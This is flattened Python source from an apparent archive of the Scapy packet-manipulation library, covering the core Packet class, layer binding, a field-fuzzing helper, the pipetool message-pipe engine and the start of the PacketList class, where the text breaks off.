canvas.insert(ft) canvas.insert(vt) last_y += layer_shift return canvas def extract_padding(self, s): """DEV: to be overloaded to extract current layer's padding. Return a couple of strings (actual layer, padding)""" return s,None def post_dissect(self, s): """DEV: is called right after the current layer has been dissected""" return s def pre_dissect(self, s): """DEV: is called right before the current layer is dissected""" return s def do_dissect(self, s): flist = self.fields_desc[:] flist.reverse() raw = s while s and flist: f = flist.pop() #print(f, end = " = ") s,fval = f.getfield(self, s) #print('fval') self.fields[f.name] = fval assert(raw.endswith(s)) if s: self.raw_packet_cache = raw[:-len(s)] else: self.raw_packet_cache = raw self.explicit = 1 return s def do_dissect_payload(self, s): if s: cls = self.guess_payload_class(s) try: p = cls(s, _internal=1, _underlayer=self) except KeyboardInterrupt: raise except: if conf.debug_dissector: if isinstance(cls,type) and issubclass(cls,Packet): log_runtime.error("%s dissector failed" % cls.name) else: log_runtime.error("%s.guess_payload_class() returned [%s]" % (self.__class__.__name__,repr(cls))) if cls is not None: raise p = conf.raw_layer(s, _internal=1, _underlayer=self) self.add_payload(p) def dissect(self, s): s = self.pre_dissect(s) s = self.do_dissect(s) s = self.post_dissect(s) payl,pad = self.extract_padding(s) self.do_dissect_payload(payl) if pad and conf.padding: self.add_payload(conf.padding_layer(pad)) def guess_payload_class(self, payload): """DEV: Guesses the next payload class from layer bonds. Can be overloaded to use a different mechanism.""" for t in self.aliastypes: for fval, cls in t.payload_guess: ok = 1 for k in fval.keys(): if not hasattr(self, k) or fval[k] != self.getfieldval(k): ok = 0 break if ok: return cls return self.default_payload_class(payload) def default_payload_class(self, payload): """DEV: Returns the default payload class if nothing has been found by the guess_payload_class() method.""" return conf.raw_layer def hide_defaults(self): """Removes fields' values that are the same as default values.""" for k in list(self.fields.keys()): if k in self.default_fields: if self.default_fields[k] == self.fields[k]: del(self.fields[k]) self.payload.hide_defaults() def clone_with(self, payload=None, **kargs): pkt = self.__class__() pkt.explicit = 1 pkt.fields = kargs pkt.time = self.time pkt.underlayer = self.underlayer pkt.overload_fields = self.overload_fields.copy() pkt.post_transforms = self.post_transforms if payload is not None: pkt.add_payload(payload) return pkt def __iter__(self): def loop(todo, done, self=self): if todo: eltname = todo.pop() elt = self.getfieldval(eltname) if not isinstance(elt, Gen): if self.get_field(eltname).islist: elt = SetGen([elt]) else: elt = SetGen(elt) for e in elt: done[eltname]=e for x in loop(todo[:], done): yield x else: if isinstance(self.payload,NoPayload): payloads = [None] else: payloads = self.payload for payl in payloads: done2=done.copy() for k in done2: if isinstance(done2[k], VolatileValue): done2[k] = done2[k]._fix() pkt = self.clone_with(payload=payl, **done2) yield pkt if self.explicit: todo = [] done = self.fields else: todo = [ k for (k,v) in itertools.chain(self.default_fields.items(), self.overloaded_fields.items()) if isinstance(v, VolatileValue) ] + list(self.fields.keys()) done = {} return loop(todo, done) def __gt__(self, other): """True if other is an answer from self (self ==> other).""" if isinstance(other, Packet): return other < self elif type(other) is str: return 1 else: raise TypeError((self, other)) def __lt__(self, other): """True if self is an answer from other (other ==> self).""" if isinstance(other, Packet): return self.answers(other) elif type(other) is str: return 1 else: raise TypeError((self, other)) def __eq__(self, other): if not isinstance(other, self.__class__): return False for f in self.fields_desc: if f not in other.fields_desc: return False if self.getfieldval(f.name) != other.getfieldval(f.name): return False return self.payload == other.payload def __ne__(self, other): return not self.__eq__(other) def hashret(self): """DEV: returns a string that has the same value for a request and its answer.""" return self.payload.hashret() def answers(self, other): """DEV: true if self is an answer from other""" if other.__class__ == self.__class__: return self.payload.answers(other.payload) return 0 def haslayer(self, cls): """true if self has a layer that is an instance of cls. Superseded by "cls in self" syntax.""" if self.__class__ == cls or self.__class__.__name__ == cls: return 1 for f in self.packetfields: fvalue_gen = self.getfieldval(f.name) if fvalue_gen is None: continue if not f.islist: fvalue_gen = SetGen(fvalue_gen,_iterpacket=0) for fvalue in fvalue_gen: if isinstance(fvalue, Packet): ret = fvalue.haslayer(cls) if ret: return ret return self.payload.haslayer(cls) def getlayer(self, cls, nb=1, _track=None): """Return the nb^th layer that is an instance of cls.""" if type(cls) is int: nb = cls+1 cls = None if type(cls) is str and "." in cls: ccls,fld = cls.split(".",1) else: ccls,fld = cls,None if cls is None or self.__class__ == cls or self.__class__.name == ccls: if nb == 1: if fld is None: return self else: return self.getfieldval(fld) else: nb -=1 for f in self.packetfields: fvalue_gen = self.getfieldval(f.name) if fvalue_gen is None: continue if not f.islist: fvalue_gen = SetGen(fvalue_gen,_iterpacket=0) for fvalue in fvalue_gen: if isinstance(fvalue, Packet): track=[] ret = fvalue.getlayer(cls, nb, _track=track) if ret is not None: return ret nb = track[0] return self.payload.getlayer(cls,nb,_track=_track) def firstlayer(self): q = self while q.underlayer is not None: q = q.underlayer return q def __getitem__(self, cls): if type(cls) is slice: lname = cls.start if cls.stop: ret = self.getlayer(cls.start, cls.stop) else: ret = self.getlayer(cls.start) if ret is None and cls.step is not None: ret = cls.step else: lname=cls ret = self.getlayer(cls) if ret is None: if type(lname) is Packet_metaclass: lname = lname.__name__ elif type(lname) is not str: lname = repr(lname) raise IndexError("Layer [%s] not found" % lname) return ret def __delitem__(self, cls): del(self[cls].underlayer.payload) def __setitem__(self, cls, val): self[cls].underlayer.payload = val def __contains__(self, cls): """"cls in self" returns true if self has a layer which is an instance of cls.""" return self.haslayer(cls) def route(self): return (None,None,None) def fragment(self, *args, **kargs): return self.payload.fragment(*args, **kargs) def display(self,*args,**kargs): # Deprecated. Use show() """Deprecated. Use show() method.""" self.show(*args,**kargs) def show(self, indent=3, lvl="", label_lvl=""): """Prints a hierarchical view of the packet. "indent" gives the size of indentation for each layer.""" ct = conf.color_theme print("%s%s %s %s" % (label_lvl, ct.punct("###["), ct.layer_name(self.name), ct.punct("]###"))) for f in self.fields_desc: if isinstance(f, ConditionalField) and not f._evalcond(self): continue if isinstance(f, Emph) or f in conf.emph: ncol = ct.emph_field_name vcol = ct.emph_field_value else: ncol = ct.field_name vcol = ct.field_value fvalue = self.getfieldval(f.name) if isinstance(fvalue, Packet) or (f.islist and f.holds_packets and type(fvalue) is list): print("%s \\%-10s\\" % (label_lvl+lvl, ncol(f.name))) fvalue_gen = SetGen(fvalue,_iterpacket=0) for fvalue in fvalue_gen: fvalue.show(indent=indent, label_lvl=label_lvl+lvl+" |") else: begn = "%s %-10s%s " % (label_lvl+lvl, ncol(f.name), ct.punct("="),) reprval = f.i2repr(self,fvalue) if type(reprval) is str: reprval = reprval.replace("\n", "\n"+" "*(len(label_lvl) +len(lvl) +len(f.name) +4)) print("%s%s" % (begn,vcol(reprval))) self.payload.show(indent=indent, lvl=lvl+(" "*indent*self.show_indent), label_lvl=label_lvl) def show2(self): """Prints a hierarchical view of an assembled version of the packet, so that automatic fields are calculated (checksums, etc.)""" self.__class__(bytes(self)).show() def sprintf(self, fmt, relax=1): """sprintf(format, [relax=1]) -> str where format is a string that can include directives. A directive begins and ends by % and has the following format %[fmt[r],][cls[:nb].]field%. fmt is a classic printf directive, "r" can be appended for raw substitution (ex: IP.flags=0x18 instead of SA), nb is the number of the layer we want (ex: for IP/IP packets, IP:2.src is the src of the upper IP layer). Special case : "%.time%" is the creation time. Ex : p.sprintf("%.time% %-15s,IP.src% -> %-15s,IP.dst% %IP.chksum% " "%03xr,IP.proto% %r,TCP.flags%") Moreover, the format string can include conditionnal statements. A conditionnal statement looks like : {layer:string} where layer is a layer name, and string is the string to insert in place of the condition if it is true, i.e. if layer is present. If layer is preceded by a "!", the result si inverted. Conditions can be imbricated. A valid statement can be : p.sprintf("This is a{TCP: TCP}{UDP: UDP}{ICMP:n ICMP} packet") p.sprintf("{IP:%IP.dst% {ICMP:%ICMP.type%}{TCP:%TCP.dport%}}") A side effect is that, to obtain "{" and "}" characters, you must use "%(" and "%)". """ escape = { "%": "%", "(": "{", ")": "}" } # Evaluate conditions while "{" in fmt: i = fmt.rindex("{") j = fmt[i+1:].index("}") cond = fmt[i+1:i+j+1] k = cond.find(":") if k < 0: raise Scapy_Exception("Bad condition in format string: [%s] (read sprintf doc!)"%cond) cond,format = cond[:k],cond[k+1:] res = False if cond[0] == "!": res = True cond = cond[1:] if self.haslayer(cond): res = not res if not res: format = "" fmt = fmt[:i]+format+fmt[i+j+2:] # Evaluate directives s = "" while "%" in fmt: i = fmt.index("%") s += fmt[:i] fmt = fmt[i+1:] if fmt and fmt[0] in escape: s += escape[fmt[0]] fmt = fmt[1:] continue try: i = fmt.index("%") sfclsfld = fmt[:i] fclsfld = sfclsfld.split(",") if len(fclsfld) == 1: f = "s" clsfld = fclsfld[0] elif len(fclsfld) == 2: f,clsfld = fclsfld else: raise Scapy_Exception if "." in clsfld: cls,fld = clsfld.split(".") else: cls = self.__class__.__name__ fld = clsfld num = 1 if ":" in cls: cls,num = cls.split(":") num = int(num) fmt = fmt[i+1:] except: raise Scapy_Exception("Bad format string [%%%s%s]" % (fmt[:25], fmt[25:] and "...")) else: if fld == "time": val = time.strftime("%H:%M:%S.%%06i", time.localtime(self.time)) % int((self.time-int(self.time))*1000000) elif cls == self.__class__.__name__ and hasattr(self, fld): if num > 1: val = self.payload.sprintf("%%%s,%s:%s.%s%%" % (f,cls,num-1,fld), relax) f = "s" elif f[-1] == "r": # Raw field value val = getattr(self,fld) f = f[:-1] if not f: f = "s" else: val = getattr(self,fld) if fld in self.fieldtype: val = self.fieldtype[fld].i2repr(self,val) else: val = self.payload.sprintf("%%%s%%" % sfclsfld, relax) f = "s" s += ("%"+f) % val s += fmt return s def mysummary(self): """DEV: can be overloaded to return a string that summarizes the layer. Only one mysummary() is used in a whole packet summary: the one of the upper layer, except if a mysummary() also returns (as a couple) a list of layers whose mysummary() must be called if they are present.""" return "" def _do_summary(self): found,s,needed = self.payload._do_summary() if s: s = " / "+s ret = "" if not found or self.__class__ in needed: ret = self.mysummary() if type(ret) is tuple: ret,n = ret needed += n if ret or needed: found = 1 if not ret: ret = self.__class__.__name__ if self.__class__ in conf.emph: impf = [] for f in self.fields_desc: if f in conf.emph: impf.append("%s=%s" % (f.name, f.i2repr(self, self.getfieldval(f.name)))) ret = "%s [%s]" % (ret," ".join(impf)) ret = "%s%s" % (ret,s) return found,ret,needed def summary(self, intern=0): """Prints a one line summary of a packet.""" found,s,needed = self._do_summary() return s def lastlayer(self,layer=None): """Returns the uppest layer of the packet""" return self.payload.lastlayer(self) def decode_payload_as(self,cls): """Reassembles the payload and decode it using another packet class""" s = bytes(self.payload) self.payload = cls(s, _internal=1, _underlayer=self) pp = self while pp.underlayer is not None: pp = pp.underlayer self.payload.dissection_done(pp) def libnet(self): """Not ready yet. Should give the necessary C code that interfaces with libnet to recreate the packet""" print("libnet_build_%s(" % self.__class__.name.lower()) det = self.__class__(str(self)) for f in self.fields_desc: val = det.getfieldval(f.name) if val is None: val = 0 elif type(val) is int: val = str(val) else: val = '"%s"' % str(val) print("\t%s, \t\t/* %s */" % (val,f.name)) print(");") def command(self): """Returns a string representing the command you have to type to obtain the same packet""" f = [] for fn,fv in self.fields.items(): fld = self.get_field(fn) if isinstance(fv, Packet): fv = fv.command() elif fld.islist and fld.holds_packets and type(fv) is list: #fv = "[%s]" % ",".join( map(Packet.command, fv)) fv = "[%s]" % ",".join([ Packet.command(i) for i in fv ]) else: fv = repr(fv) f.append("%s=%s" % (fn, fv)) c = "%s(%s)" % (self.__class__.__name__, ", ".join(f)) pc = self.payload.command() if pc: c += "/"+pc return c class NoPayload(Packet): def __new__(cls, *args, **kargs): singl = cls.__dict__.get("__singl__") if singl is None: cls.__singl__ = singl = Packet.__new__(cls) Packet.__init__(singl) return singl def __init__(self, *args, **kargs): pass def dissection_done(self,pkt): return def add_payload(self, payload): raise Scapy_Exception("Can't add payload to NoPayload instance") def remove_payload(self): pass def add_underlayer(self,underlayer): pass def remove_underlayer(self,other): pass def copy(self): return self def __repr__(self): return "" def __str__(self): return "" def __bool__(self): return False def do_build(self): return b"" def build(self): return b"" def build_padding(self): return b"" def build_done(self, p): return p def build_ps(self, internal=0): return b"",[] def getfieldval(self, attr): raise AttributeError(attr) def getfield_and_val(self, attr): raise AttributeError(attr) def setfieldval(self, attr, val): raise AttributeError(attr) def delfieldval(self, attr): raise AttributeError(attr) def __getattr__(self, attr): if attr in self.__dict__: return self.__dict__[attr] elif attr in self.__class__.__dict__: return self.__class__.__dict__[attr] else: raise AttributeError(attr) def hide_defaults(self): pass def __iter__(self): return iter([]) def __eq__(self, other): if isinstance(other, NoPayload): return True return False def hashret(self): return b"" def answers(self, other): return isinstance(other, NoPayload) or isinstance(other, conf.padding_layer) def haslayer(self, cls): return 0 def getlayer(self, cls, nb=1, _track=None): if _track is not None: _track.append(nb) return None def fragment(self, *args, **kargs): raise Scapy_Exception("cannot fragment this packet") def show(self, indent=3, lvl="", label_lvl=""): pass def sprintf(self, fmt, relax): if relax: return "??" else: raise Scapy_Exception("Format not found [%s]"%fmt) def _do_summary(self): return 0,"",[] def lastlayer(self,layer): return layer def command(self): return "" #################### ## packet classes ## #################### class Raw(Packet): name = "Raw" fields_desc = [ StrField("load", b"") ] def answers(self, other): return 1 # s = str(other) # t = self.load # l = min(len(s), len(t)) # return s[:l] == t[:l] def mysummary(self): cs = conf.raw_summary if cs: if callable(cs): return "Raw %s" % cs(self.load) else: return "Raw %r" % self.load return Packet.mysummary(self) class Padding(Raw): name = "Padding" def self_build(self): return b"" def build_padding(self): return (self.getbyteval("load") if self.raw_packet_cache is None else self.raw_packet_cache) + self.payload.build_padding() conf.raw_layer = Raw conf.padding_layer = Padding if conf.default_l2 is None: conf.default_l2 = Raw ################# ## Bind layers ## ################# def bind_bottom_up(lower, upper, __fval=None, **fval): if __fval is not None: fval.update(__fval) lower.payload_guess = lower.payload_guess[:] lower.payload_guess.append((fval, upper)) def bind_top_down(lower, upper, __fval=None, **fval): if __fval is not None: fval.update(__fval) upper.overload_fields = upper.overload_fields.copy() upper.overload_fields[lower] = fval @conf.commands.register def bind_layers(lower, upper, __fval=None, **fval): """Bind 2 layers on some specific fields' values""" if __fval is not None: fval.update(__fval) bind_top_down(lower, upper, **fval) bind_bottom_up(lower, upper, **fval) def split_bottom_up(lower, upper, __fval=None, **fval): if __fval is not None: fval.update(__fval) #def do_filter((f,u),upper=upper,fval=fval): def do_filter(s,upper=upper,fval=fval): if s[1] != upper: return True for k in fval: if k not in s[0] or s[0][k] != fval[k]: return True return False lower.payload_guess = list(filter(do_filter, lower.payload_guess)) def split_top_down(lower, upper, __fval=None, **fval): if __fval is not None: fval.update(__fval) if lower in upper.overload_fields: ofval = upper.overload_fields[lower] for k in fval: if k not in ofval or ofval[k] != fval[k]: return upper.overload_fields = upper.overload_fields.copy() del(upper.overload_fields[lower]) @conf.commands.register def split_layers(lower, upper, __fval=None, **fval): """Split 2 layers previously bound""" if __fval is not None: fval.update(__fval) split_bottom_up(lower, upper, **fval) split_top_down(lower, upper, **fval) @conf.commands.register def ls(obj=None): """List available layers, or infos on a given layer""" if obj is None: import builtins all = builtins.__dict__.copy() all.update(globals()) objlst = sorted(conf.layers, key=lambda x:x.__name__) for o in objlst: print("%-10s : %s" %(o.__name__,o.name)) else: if isinstance(obj, type) and issubclass(obj, Packet): for f in obj.fields_desc: print("%-10s : %-20s = (%s)" % (f.name, f.__class__.__name__, repr(f.default))) elif isinstance(obj, Packet): for f in obj.fields_desc: print("%-10s : %-20s = %-15s (%s)" % (f.name, f.__class__.__name__, repr(getattr(obj,f.name)), repr(f.default))) if not isinstance(obj.payload, NoPayload): print("--") ls(obj.payload) else: print("Not a packet class. Type 'ls()' to list packet classes.") ############# ## Fuzzing ## ############# @conf.commands.register def fuzz(p, _inplace=0): """Transform a layer into a fuzzy layer by replacing some default values by random objects""" if not _inplace: p = p.copy() q = p while not isinstance(q, NoPayload): for f in q.fields_desc: if isinstance(f, PacketListField): for r in getattr(q, f.name): print("fuzzing", repr(r)) fuzz(r, _inplace=1) elif isinstance(f, FlagsField): rnd = random.randint(0, (2 ^ f.size) - 1) q.default_fields[f.name] = rnd elif f.default is not None: rnd = f.randval() if rnd is not None: q.default_fields[f.name] = rnd q = q.payload return p scapy-0.23/scapy/pipetool.py000066400000000000000000000402001320561231000160660ustar00rootroot00000000000000#! /usr/bin/env python ## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license from __future__ import with_statement import scapy.utils from scapy.config import conf import os,_thread,select import subprocess import itertools import collections import time from scapy.error import log_interactive,warning import queue class PipeEngine: pipes = {} @classmethod def list_pipes(cls): for pn,pc in sorted(cls.pipes.items()): doc = pc.__doc__ or "" if doc: doc = doc.splitlines()[0] print("%20s: %s" % (pn, doc)) @classmethod def list_pipes_detailed(cls): for pn,pc in sorted(cls.pipes.items()): if pc.__doc__: print("###### %s\n %s" % (pn ,pc.__doc__)) else: print("###### %s" % pn) def __init__(self, *pipes): self.active_pipes = set() self.active_sources = set() self.active_drains = set() self.active_sinks = set() self._add_pipes(*pipes) self.thread_lock = _thread.allocate_lock() self.command_lock = _thread.allocate_lock() self.__fdr,self.__fdw = os.pipe() self.threadid = None def __getattr__(self, attr): if attr.startswith("spawn_"): dname = attr[6:] if dname in self.pipes: def f(*args, **kargs): k = self.pipes[dname] p = k(*args, **kargs) self.add(p) return p return f raise AttributeError(attr) def add_one_pipe(self, pipe): self.active_pipes.add(pipe) if isinstance(pipe, Source): self.active_sources.add(pipe) if isinstance(pipe, Drain): self.active_drains.add(pipe) if isinstance(pipe, Sink): self.active_sinks.add(pipe) def get_pipe_list(self, pipe): def flatten(p, l): l.add(p) for q in p.sources|p.sinks|p.high_sources|p.high_sinks: if q not in l: flatten(q, l) pl = set() flatten(pipe, pl) return pl def _add_pipes(self, *pipes): pl = set() for p in pipes: pl |= self.get_pipe_list(p) pl -= self.active_pipes for q in pl: self.add_one_pipe(q) return pl def run(self): log_interactive.info("Pipe engine thread started.") try: for p in self.active_pipes: p.start() sources = self.active_sources sources.add(self.__fdr) exhausted = set([]) RUN=True STOP_IF_EXHAUSTED = False while RUN and (not STOP_IF_EXHAUSTED or len(sources) > 1): fds,fdo,fde=select.select(sources,[],[]) for fd in fds: if fd is self.__fdr: cmd = os.read(self.__fdr,1).decode(encoding='UTF-8') if cmd == "X": RUN=False break elif cmd == "B": STOP_IF_EXHAUSTED = True elif cmd == "A": sources = self.active_sources-exhausted sources.add(self.__fdr) else: warning("Unknown internal pipe engine command: %r. Ignoring." % cmd) elif fd in sources: try: fd.deliver() except Exception as e: log_interactive.exception("piping from %s failed: %s" % (fd.name, e)) else: if fd.exhausted(): exhausted.add(fd) sources.remove(fd) except KeyboardInterrupt: pass finally: try: for p in self.active_pipes: p.stop() finally: self.thread_lock.release() log_interactive.info("Pipe engine thread stopped.") def start(self): if self.thread_lock.acquire(0): self.threadid = _thread.start_new_thread(self.run,()) else: warning("Pipe engine already running") def wait_and_stop(self): self.stop(_cmd="B".encode(encoding='UTF-8')) def stop(self, _cmd="X"): try: with self.command_lock: if self.threadid is not None: os.write(self.__fdw, _cmd.encode(encoding='UTF-8')) while not self.thread_lock.acquire(0): time.sleep(0.01) # interruptible wait for thread to terminate self.thread_lock.release() # (not using .join() because it needs 'threading' module) else: warning("Pipe engine thread not running") except KeyboardInterrupt: print("Interrupted by user.") def add(self, *pipes): pipes = self._add_pipes(*pipes) with self.command_lock: if self.threadid is not None: for p in pipes: p.start() os.write(self.__fdw, "A".encode(encoding='UTF-8')) def graph(self,**kargs): g=['digraph "pipe" {',"\tnode [shape=rectangle];",] for p in self.active_pipes: g.append('\t"%i" [label="%s"];' % (id(p), p.name)) g.append("") g.append("\tedge [color=blue, arrowhead=vee];") for p in self.active_pipes: for q in p.sinks: g.append('\t"%i" -> "%i";' % (id(p), id(q))) g.append("") g.append("\tedge [color=red, arrowhead=veevee];") for p in self.active_pipes: for q in p.high_sinks: g.append('\t"%i" -> "%i" [color="red"];' % (id(p), id(q))) g.append('}') graph = "\n".join(g) scapy.utils.do_graph(graph, **kargs) class _ConnectorLogic(object): def __init__(self): self.sources = set() self.sinks = set() self.high_sources = set() self.high_sinks = set() def __lt__(self, other): other.sinks.add(self) self.sources.add(other) return other def __gt__(self, other): self.sinks.add(other) other.sources.add(self) return other def __eq__(self, other): self > other other > self return other def __lshift__(self, other): self.high_sources.add(other) other.high_sinks.add(self) return other def __rshift__(self, other): self.high_sinks.add(other) other.high_sources.add(self) return other def __floordiv__(self, other): self >> other other >> self return other def __hash__(self): return hash(str(self)) def __cmp__(self, other): return hash(str(self)) == hash(str(other)) class Pipe(_ConnectorLogic): #TODO3 Move to new metaclass syntax class __metaclass__(type): def __new__(cls, name, bases, dct): c = type.__new__(cls, name, bases, dct) PipeEngine.pipes[name] = c return c def __init__(self, name=None): _ConnectorLogic.__init__(self) if name is None: name = "%s" % (self.__class__.__name__) self.name = name def _send(self, msg): for s in self.sinks: s.push(msg) def _high_send(self, msg): for s in self.high_sinks: s.high_push(msg) def __repr__(self): ct = conf.color_theme s = "%s%s" % (ct.punct("<"), ct.layer_name(self.name)) if self.sources or self.sinks: s+= " %s" % ct.punct("[") if self.sources: s+="%s%s" % (ct.punct(",").join(ct.field_name(s.name) for s in self.sources), ct.field_value(">")) s += ct.layer_name("#") if self.sinks: s+="%s%s" % (ct.field_value(">"), ct.punct(",").join(ct.field_name(s.name) for s in self.sinks)) s += ct.punct("]") if self.high_sources or self.high_sinks: s+= " %s" % ct.punct("[") if self.high_sources: s+="%s%s" % (ct.punct(",").join(ct.field_name(s.name) for s in self.high_sources), ct.field_value(">>")) s += ct.layer_name("#") if self.high_sinks: s+="%s%s" % (ct.field_value(">>"), ct.punct(",").join(ct.field_name(s.name) for s in self.high_sinks)) s += ct.punct("]") s += ct.punct(">") return s class Source(Pipe): def __init__(self, name=None): Pipe.__init__(self, name=name) self.is_exhausted = False def _read_message(self): return Message() def deliver(self): msg = self._read_message self._send(msg) def fileno(self): return None def exhausted(self): return self.is_exhausted def start(self): pass def stop(self): pass class Drain(Pipe): """Repeat messages from low/high entries to (resp.) low/high exits +-------+ >>-|-------|->> | | >-|-------|-> +-------+ """ def push(self, msg): self._send(msg) def high_push(self, msg): self._high_send(msg) def start(self): pass def stop(self): pass class Sink(Pipe): def push(self, msg): pass def high_push(self, msg): pass def start(self): pass def stop(self): pass class AutoSource(Source): def __init__(self, name=None): Source.__init__(self, name=name) self.__fdr,self.__fdw = os.pipe() self._queue = collections.deque() def fileno(self): return self.__fdr def _gen_data(self, msg): self._queue.append((msg,False)) self._wake_up() def _gen_high_data(self, msg): self._queue.append((msg,True)) self._wake_up() def _wake_up(self): os.write(self.__fdw,"x".encode(encoding='UTF-8')) def deliver(self): os.read(self.__fdr,1).decode(encoding='UTF-8') try: msg,high = self._queue.popleft() except IndexError: #empty queue. Exhausted source pass else: if high: self._high_send(msg) else: self._send(msg) class ThreadGenSource(AutoSource): def __init__(self, name=None): AutoSource.__init__(self, name=name) self.RUN = False def generate(self): pass def start(self): self.RUN = True _thread.start_new_thread(self.generate,()) def stop(self): self.RUN = False class ConsoleSink(Sink): """Print messages on low and high entries +-------+ >>-|--. |->> | print | >-|--' |-> +-------+ """ def push(self, msg): print(">%r" % msg) def high_push(self, msg): print(">>%r" % msg) class RawConsoleSink(Sink): """Print messages on low and high entries +-------+ >>-|--. |->> | write | >-|--' |-> +-------+ """ def __init__(self, name=None, newlines=True): Sink.__init__(self, name=name) self.newlines = newlines def push(self, msg): if self.newlines: msg += "\n" os.write(1, str(msg).encode(encoding='UTF-8')) def high_push(self, msg): if self.newlines: msg += "\n" os.write(1, str(msg).encode(encoding='UTF-8')) class CLIFeeder(AutoSource): """Send messages from python command line +--------+ >>-| |->> | send() | >-| `----|-> +--------+ """ def send(self, msg): self._gen_data(msg) def close(self): self.is_exhausted = True class CLIHighFeeder(CLIFeeder): """Send messages from python command line to high output +--------+ >>-| .----|->> | send() | >-| |-> +--------+ """ def send(self, msg): self._gen_high_data(msg) class PeriodicSource(ThreadGenSource): """Generage messages periodically on low exit +-------+ >>-| |->> | msg,T | >-| `----|-> +-------+ """ def __init__(self, msg, period, period2=0, name=None): ThreadGenSource.__init__(self,name=name) if not hasattr(msg, "__iter__"): msg=[msg] self.msg = msg self.period = period self.period2 = period2 def generate(self): while self.RUN: empty_gen = True for m in self.msg: empty_gen = False self._gen_data(m) time.sleep(self.period) if empty_gen: self.is_exhausted = True self._wake_up() time.sleep(self.period2) class TermSink(Sink): """Print messages on low and high entries on a separate terminal +-------+ >>-|--. |->> | print | >-|--' |-> +-------+ """ def __init__(self, name=None, keepterm=True, newlines=True, openearly=True): Sink.__init__(self, name=name) self.keepterm = keepterm self.newlines = newlines self.openearly = openearly self.opened = False if self.openearly: self.start() def start(self): if not self.opened: self.opened = True self.__r,self.__w = os.pipe() cmd = ["xterm"] if self.name is not None: cmd.extend(["-title",self.name]) if self.keepterm: cmd.append("-hold") cmd.extend(["-e", "cat 0<&%i" % self.__r]) self.__p = subprocess.Popen(cmd) os.close(self.__r) def stop(self): if not self.keepterm: self.opened = False os.close(self.__w) self.__p.kill() self.__p.wait() def _print(self, s): if self.newlines: s+="\n" os.write(self.__w, s.encode(encoding='UTF-8')) def push(self, msg): self._print(str(msg)) def high_push(self, msg): self._print(str(msg)) class QueueSink(Sink): """Collect messages from high and low entries and queue them. Messages are unqueued with the .recv() method. +-------+ >>-|--. |->> | queue | >-|--' |-> +-------+ """ def __init__(self, name=None): Sink.__init__(self, name=name) self.q = queue.Queue() def push(self, msg): self.q.put(msg) def high_push(self, msg): self.q.put(msg) def recv(self): while True: try: return self.q.get(True, timeout=0.1) except queue.Empty: pass class TransformDrain(Drain): """Apply a function to messages on low and high entry +-------+ >>-|--[f]--|->> | | >-|--[f]--|-> +-------+ """ def __init__(self, f, name=None): Drain.__init__(self, name=name) self.f = f def push(self, msg): self._send(self.f(msg)) def high_push(self, msg): self._high_send(self.f(msg)) class UpDrain(Drain): """Repeat messages from low entry to high exit +-------+ >>-| ,--|->> | / | >-|--' |-> +-------+ """ def push(self, msg): self._high_send(msg) def high_push(self, msg): pass class DownDrain(Drain): """Repeat messages from high entry to low exit +-------+ >>-|--. |->> | \ | >-| `--|-> +-------+ """ def push(self, msg): pass def high_push(self, msg): self._send(msg) def _testmain(): s = PeriodicSource("hello", 1, name="src") d1 = Drain(name="d1") c = ConsoleSink(name="c") tf = TransformDrain(lambda x:"Got %r" % x) t = TermSink(name="t", keepterm=False) s > d1 > c d1 > tf > t p = PipeEngine(s) p.graph(type="png",target="> /tmp/pipe.png") p.start() print(p.threadid) time.sleep(5) p.stop() if __name__ == "__main__": _testmain() scapy-0.23/scapy/plist.py000066400000000000000000000507611320561231000154030ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ PacketList: holds several packets and allows to do operations on them. """ import os,subprocess from .config import conf from .base_classes import BasePacket,BasePacketList from collections import defaultdict from .utils import do_graph,hexdump,make_table,make_lined_table,make_tex_table,get_temp_file from scapy.arch import NETWORKX if NETWORKX: import networkx as nx ############# ## Results ## ############# class PacketList(BasePacketList): res = [] def __init__(self, res=None, name="PacketList", stats=None, vector_index = None): """create a packet list from a list of packets res: the list of packets stats: a list of classes that will appear in the stats (defaults to [TCP,UDP,ICMP])""" if stats is None: stats = conf.stats_classic_protocols self.stats = stats if res is None: res = [] if isinstance(res, PacketList): res = res.res self.res = res self.listname = name self.vector_index = vector_index def __len__(self): return len(self.res) def _elt2pkt(self, elt): if self.vector_index == None: return elt else: return elt[self.vector_index] def _elt2sum(self, elt): if self.vector_index == None: return elt.summary() else: return "%s ==> %s" % (elt[0].summary(),elt[1].summary()) def _elt2show(self, elt): return self._elt2sum(elt) def __repr__(self): stats=dict.fromkeys(self.stats,0) other = 0 for r in self.res: f = 0 for p in stats: if self._elt2pkt(r).haslayer(p): stats[p] += 1 f = 1 break if not f: other += 1 s = "" ct = conf.color_theme for p in self.stats: s += " %s%s%s" % (ct.packetlist_proto(p.name), ct.punct(":"), ct.packetlist_value(stats[p])) s += " %s%s%s" % (ct.packetlist_proto("Other"), ct.punct(":"), ct.packetlist_value(other)) return "%s%s%s%s%s" % (ct.punct("<"), ct.packetlist_name(self.listname), ct.punct(":"), s, ct.punct(">")) def __getattr__(self, attr): return getattr(self.res, attr) def __getitem__(self, item): if isinstance(item,type) and issubclass(item,BasePacket): #return self.__class__(filter(lambda x: item in self._elt2pkt(x),self.res), return self.__class__([ x for x in self.res if item in self._elt2pkt(x) ], name="%s from %s"%(item.__name__,self.listname)) if type(item) is slice: return self.__class__(self.res.__getitem__(item), name = "mod %s" % self.listname) return self.res.__getitem__(item) def __getslice__(self, *args, **kargs): return self.__class__(self.res.__getslice__(*args, **kargs), name="mod %s"%self.listname) def __add__(self, other): return self.__class__(self.res+other.res, name="%s+%s"%(self.listname,other.listname)) def summary(self, prn=None, lfilter=None): """prints a summary of each packet prn: function to apply to each packet instead of lambda x:x.summary() lfilter: truth function to apply to each packet to decide whether it will be displayed""" for r in self.res: if lfilter is not None: if not lfilter(r): continue if prn is None: print(self._elt2sum(r)) else: print(prn(r)) def nsummary(self,prn=None, lfilter=None): """prints a summary of each packet with the packet's number prn: function to apply to each packet instead of lambda x:x.summary() lfilter: truth function to apply to each packet to decide whether it will be displayed""" for i, p in enumerate(self.res): if lfilter is not None: if not lfilter(p): continue print(conf.color_theme.id(i,fmt="%04i"), end = " ") if prn is None: print(self._elt2sum(p)) else: print(prn(p)) def display(self): # Deprecated. Use show() """deprecated. is show()""" self.show() def show(self, *args, **kargs): """Best way to display the packet list. Defaults to nsummary() method""" return self.nsummary(*args, **kargs) def filter(self, func): """Returns a packet list filtered by a truth function""" return 